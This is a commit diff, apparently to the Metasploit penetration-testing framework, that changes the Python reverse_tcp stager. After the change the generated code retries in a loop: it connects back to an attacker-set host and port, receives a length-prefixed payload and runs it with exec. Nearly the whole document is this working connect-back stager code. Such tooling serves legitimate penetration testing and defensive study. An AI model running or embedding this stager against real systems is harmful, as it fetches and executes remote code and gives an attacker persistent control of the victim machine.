Improved error handling for the python reverse_tcp payload

Handling all kinds of errors

Removing 'e'

Updating payload cached sizes

Updating payload cached sizes 2.0

Adding option to set retry time

Author: itsmeroy2012

lib/msf/core/payload/python/reverse_tcp.rb

@@ -23,7 +23,8 @@ def generate
     conf = {
       port:        datastore['LPORT'],
       host:        datastore['LHOST'],
-      retry_count: datastore['ReverseConnectRetries'],
+      retry_count: datastore['StagerRetryCount'],
+      retry_wait:  datastore['StagerRetryWait'],
     }
 
     generate_reverse_tcp(conf)
@@ -44,14 +45,22 @@ def transport_config(opts={})
   def generate_reverse_tcp(opts={})
     # Set up the socket
     cmd  = "import socket,struct\n"
-    cmd << "s=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
-    cmd << "s.connect(('#{opts[:host]}',#{opts[:port]}))\n"
+    cmd << "import time\n"
+    cmd << "def connect():\n"
+    cmd << "\ttry:\n"
+    cmd << "\t\ts=socket.socket(2,socket.SOCK_STREAM)\n" # socket.AF_INET = 2
+    cmd << "\t\ts.connect(('#{opts[:host]}',#{opts[:port]}))\n"
     cmd << py_send_uuid if include_send_uuid
-    cmd << "l=struct.unpack('>I',s.recv(4))[0]\n"
-    cmd << "d=s.recv(l)\n"
-    cmd << "while len(d)<l:\n"
-    cmd << "\td+=s.recv(l-len(d))\n"
-    cmd << "exec(d,{'s':s})\n"
+    cmd << "\t\tl=struct.unpack('>I',s.recv(4))[0]\n"
+    cmd << "\t\td=s.recv(l)\n"
+    cmd << "\t\twhile len(d)<l:\n"
+    cmd << "\t\t\td+=s.recv(l-len(d))\n"
+    cmd << "\t\texec(d,{'s':s})\n"
+    cmd << "\texcept Exception:\n"
+    cmd << "\t\t\ttime.sleep(#{opts[:retry_wait]})\n"
+    cmd << "\t\t\tconnect()\n"
+    cmd << "connect()\n"
+    
 
     py_create_exec_stub(cmd)
   end

modules/payloads/stagers/python/reverse_tcp.rb

@@ -11,7 +11,7 @@
 
 module MetasploitModule
 
-  CachedSize = 362
+  CachedSize = 502
 
   include Msf::Payload::Stager
   include Msf::Payload::Python::ReverseTcp

modules/payloads/stagers/python/reverse_tcp_uuid.rb

@@ -11,7 +11,7 @@
 
 module MetasploitModule
 
-  CachedSize = 466
+  CachedSize = 606
 
   include Msf::Payload::Stager
   include Msf::Payload::Python